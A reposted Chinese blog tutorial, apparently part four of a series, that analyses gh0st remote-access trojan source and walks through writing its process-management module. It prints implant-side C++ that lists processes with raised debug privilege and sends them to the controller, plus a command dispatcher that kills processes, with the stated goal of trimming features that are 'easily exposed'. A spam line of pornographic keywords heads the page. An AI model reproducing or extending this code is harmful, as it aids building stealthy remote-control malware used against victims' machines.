久久国产成人av_抖音国产毛片_a片网站免费观看_A片无码播放手机在线观看,色五月在线观看,亚洲精品m在线观看,女人自慰的免费网址,悠悠在线观看精品视频,一级日本片免费的,亚洲精品久,国产精品成人久久久久久久

分享

gh0st源碼分析與遠(yuǎn)控的編寫(四)

 黑犬黑犬_924 2016-11-02

本文轉(zhuǎn)自:https://www./C/gh0st_1.html   原作者: 

    以后對于gh0st的文章,,就是一個一個模塊的分析,。原本gh0st就是由很多功能組成的一個強(qiáng)大的遠(yuǎn)控,但有些東西并不是功能越強(qiáng)大越好,。我們到最后,,會做一個gh0st的精簡,留下最重要的功能,,淘汰一些龐大而容易暴露的功能,。所以,只有我們模塊化了一個軟件之后,,我們才能更方便地去刪除或增加一個功能,,否則刪除掉某個模塊之后導(dǎo)致整個gh0st運(yùn)行不了了,得不償失,。

    今天帶來的是進(jìn)程管理模塊,,這個模塊文件是SystemManager.cpp。

    我們先來看被控端,,一個獲取當(dāng)前進(jìn)程列表的模塊,。調(diào)用的相關(guān)api是CreateToolhelp32Snapshot -> Process32First -> OpenProcess -> EnumProcessModules -> GetModuleFileNameEx -> Process32Next -> CloseHandle

    首先調(diào)用CreateToolhelp32Snapshot 創(chuàng)建當(dāng)前進(jìn)程列表的快照,再調(diào)用Process32First獲得快照中第一個進(jìn)程句柄,,OpenProcess打開此進(jìn)程,,EnumProcessModules列舉這個進(jìn)程引用的模塊(第一個模塊就是進(jìn)程自身,,原本這個函數(shù)應(yīng)該返回該進(jìn)程所有模塊的一個數(shù)組,但因為我只需要第一個模塊,,所以傳入一個HMODULE型地址即可)。得到他自身的模塊后,,GetModuleFileNameEx獲得其完整名稱,。此時就算獲取到了進(jìn)程列表中一個進(jìn)程信息,再使用Process32Next獲得下一個進(jìn)程,,重復(fù)以上步驟,。

    最后當(dāng)Process32Next獲取不到進(jìn)程后,就算將整個進(jìn)程列表快照遍歷完了,,調(diào)用CloseHandle關(guān)閉快照句柄即可,。

    流程圖如下:

    gh0st4.png

    下面就是gh0st中,獲取進(jìn)程列表的代碼:

01LPBYTE CSystemManager::getProcessList()
02{
03    HANDLE          hSnapshot = NULL;
04    HANDLE          hProcess = NULL;
05    HMODULE         hModules = NULL;
06    PROCESSENTRY32  pe32 = {0};
07    DWORD           cbNeeded;
08    char            strProcessName[MAX_PATH] = {0};
09    LPBYTE          lpBuffer = NULL;
10    DWORD           dwOffset = 0;
11    DWORD           dwLength = 0;
12    DebugPrivilege(SE_DEBUG_NAME, TRUE);     //提取權(quán)限
13    //創(chuàng)建系統(tǒng)快照
14    hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
15     
16    if(hSnapshot == INVALID_HANDLE_VALUE)
17        return NULL;
18     
19    pe32.dwSize = sizeof(PROCESSENTRY32);
20     
21    lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1024);       //暫時分配一下緩沖區(qū)
22     
23    lpBuffer[0] = TOKEN_PSLIST;        //注意這個是數(shù)據(jù)頭 一會我們到主控端來搜索這個數(shù)據(jù)頭
24    dwOffset = 1;
25     
26    if(Process32First(hSnapshot, &pe32))       //得到第一個進(jìn)程順便判斷一下系統(tǒng)快照是否成功
27    {    
28        do
29        {     
30            //打開進(jìn)程并返回句柄
31            hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pe32.th32ProcessID);
32            if ((pe32.th32ProcessID !=0 ) && (pe32.th32ProcessID != 4) && (pe32.th32ProcessID != 8))
33            {
34                //枚舉第一個模塊句柄也就是自身
35                EnumProcessModules(hProcess, &hModules, sizeof(hModules), &cbNeeded);
36                //得到自身的完整名稱
37                GetModuleFileNameEx(hProcess, hModules, strProcessName, sizeof(strProcessName));
38                //開始計算占用的緩沖區(qū),, 我們關(guān)心他的發(fā)送的數(shù)據(jù)結(jié)構(gòu)
39                // 此進(jìn)程占用數(shù)據(jù)大小
40                dwLength = sizeof(DWORD) + lstrlen(pe32.szExeFile) + lstrlen(strProcessName) + 2;
41                // 緩沖區(qū)太小,,再重新分配下
42                if (LocalSize(lpBuffer) < (dwOffset + dwLength))
43                    lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT|LMEM_MOVEABLE);
44                 
45                //接下來三個memcpy就是向緩沖區(qū)里存放數(shù)據(jù) 數(shù)據(jù)結(jié)構(gòu)是 進(jìn)程ID+進(jìn)程名+0+進(jìn)程完整名+0
46                //為什么加0 ?因為字符數(shù)據(jù)是以0 結(jié)尾的
47                memcpy(lpBuffer + dwOffset, &(pe32.th32ProcessID), sizeof(DWORD));
48                dwOffset += sizeof(DWORD); 
49                 
50                memcpy(lpBuffer + dwOffset, pe32.szExeFile, lstrlen(pe32.szExeFile) + 1);
51                dwOffset += lstrlen(pe32.szExeFile) + 1;
52                 
53                memcpy(lpBuffer + dwOffset, strProcessName, lstrlen(strProcessName) + 1);
54                dwOffset += lstrlen(strProcessName) + 1;
55            }
56        }
57        while(Process32Next(hSnapshot, &pe32));      //繼續(xù)得到下一個快照
58    }
59    //用lpbuffer獲得整個緩沖區(qū)
60    lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset, LMEM_ZEROINIT|LMEM_MOVEABLE);
61     
62    DebugPrivilege(SE_DEBUG_NAME, FALSE);  //還原提權(quán)
63    CloseHandle(hSnapshot);       //釋放句柄
64    return lpBuffer;        //這個數(shù)據(jù)返回后就是發(fā)送了 之前講過了,,我們可以到主控端去搜索TOKEN_PSLIST了,。
65}

    代碼基本上就跟我的流程圖一樣的過程,用一個do..while循環(huán),,遍歷整個進(jìn)程列表快照,。其中調(diào)用的EnumProcessModules函數(shù)要注意,傳入的第二個參數(shù)是一個HMODULE類型指針,,而不是MSDN中說的數(shù)組,。當(dāng)然也可以理解成只含有一個HMODULE類型變量的數(shù)組,因為我只需要第一個模塊信息就行了,。

    獲得了可執(zhí)行文件名,、詳細(xì)名稱后,gh0st用了一個結(jié)構(gòu):“進(jìn)程ID+進(jìn)程名+0+進(jìn)程完整名+0”來保存他們,。0相當(dāng)于一個分隔符,,將信息分割開。在主控端取進(jìn)程信息的時候就直接取一個數(shù)字,,兩個字符串即可,,因為字符串就是以0結(jié)尾。

    這個函數(shù)最前面調(diào)用了一個DebugPrivilege,,這就是一個簡單的提權(quán)函數(shù),,在很多地方都用到過,我就不多講了,。

    所以,,最后getProcessList函數(shù)返回的就是一個包含所有進(jìn)程信息的一個緩沖區(qū),,類似這樣"01ieplorer.exe\0IE瀏覽器\002qq.exe\0騰訊QQ\0...."。

    SendProcessList調(diào)用了這個函數(shù),,并把獲得的緩沖區(qū)發(fā)送給主控端:

01void CSystemManager::SendProccessList()
02{
03    UINT    nRet = -1;
04    LPBYTE  lpBuffer = getProcessList();      //得到進(jìn)程列表的數(shù)據(jù),,一會轉(zhuǎn)到  getProcessList定義
05    if (lpBuffer == NULL)
06        return;
07 
08    Send((LPBYTE)lpBuffer, LocalSize(lpBuffer));   //得到發(fā)送得到的進(jìn)程列表數(shù)據(jù)
09    LocalFree(lpBuffer);
10}

    這就是被控端上獲取所有進(jìn)程信息并發(fā)送給主控端的一個過程。

    我之前文章里也說過,,被控端中每一個模塊類中,,都有一個固定的方法,叫OnReceive,,這是當(dāng)主控端發(fā)送來的命令,,會最終被傳遞給這個方法。這個方法就來根據(jù)命令調(diào)度需要執(zhí)行的功能,。

    所以,,SystemManager類也有這個方法:

01void CSystemManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
02{
03    SwitchInputDesktop();
04    switch (lpBuffer[0])
05    {
06    case COMMAND_PSLIST:
07        SendProcessList();
08        break;
09    case COMMAND_WSLIST:
10        //SendWindowsList();
11        break;
12    case COMMAND_DIALUPASS:
13        //SendDialupassList();
14        break;
15    case COMMAND_KILLPROCESS:       //這里是進(jìn)程管理接收數(shù)據(jù)的函數(shù)了 在這里判斷是那個命令,到KillProcess定義
16        KillProcess((LPBYTE)lpBuffer + 1, nSize - 1);
17    default:
18        break;
19    }
20}
    lpBuffer[0]就是命令,,我們可以看到,,如果它的值是COMMAND_PSLIST的話,就會執(zhí)行SendProcessList,,也就是發(fā)送所有進(jìn)程列表,,如果是COMMAND_KILLPROCESS,那就就會執(zhí)行KillProcess,,結(jié)束某個進(jìn)程,。


    另外還有兩個命令,他們是窗口管理和撥號管理的功能,。實際上,,這兩個功能并不太需要,可以直接精簡掉,。我們暫時將之注釋,。

    下次我會說到,主控端界面的一些編寫(主要是tab標(biāo)簽頁的制作),,和接收來自被控端的數(shù)據(jù),,并顯示到頁面上。最終完成這個進(jìn)程管理模塊,。

    本站是提供個人知識管理的網(wǎng)絡(luò)存儲空間,,所有內(nèi)容均由用戶發(fā)布,不代表本站觀點(diǎn),。請注意甄別內(nèi)容中的聯(lián)系方式,、誘導(dǎo)購買等信息,謹(jǐn)防詐騙,。如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,,請點(diǎn)擊一鍵舉報,。
    轉(zhuǎn)藏 分享 獻(xiàn)花(0

    0條評論

    發(fā)表

    請遵守用戶 評論公約

    類似文章 更多